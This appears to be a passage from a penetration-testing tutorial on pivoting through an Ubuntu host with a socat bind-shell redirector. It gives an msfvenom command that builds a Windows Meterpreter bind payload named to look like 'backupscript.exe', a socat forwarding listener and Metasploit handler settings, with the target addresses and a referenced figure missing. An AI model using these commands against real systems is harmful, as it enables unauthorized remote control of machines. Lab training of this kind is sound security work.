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Socat Redirection with a Bind Shell

Similar to socat's reverse shell redirector, we can also create a socat bind shell redirector. This is different from reverse shells that connect back from the Windows server to the Ubuntu server and get redirected to our attack host. In the case of bind shells, the Windows server will start a listener and bind to a particular port. We can create a bind shell payload for Windows and execute it on the Windows host. At the same time, we can create a socat redirector on the Ubuntu server, which will listen for incoming connections from a Metasploit bind handler and forward that to a bind shell payload on a Windows target. The below figure should explain the pivot in a much better way.

Creating the Windows Payload

msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o backupscript.exe LPORT=8443

Starting Socat Bind Shell Listener

socat TCP4-LISTEN:8080,fork TCP4:

Configuring & Starting the Bind multi/handler

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > run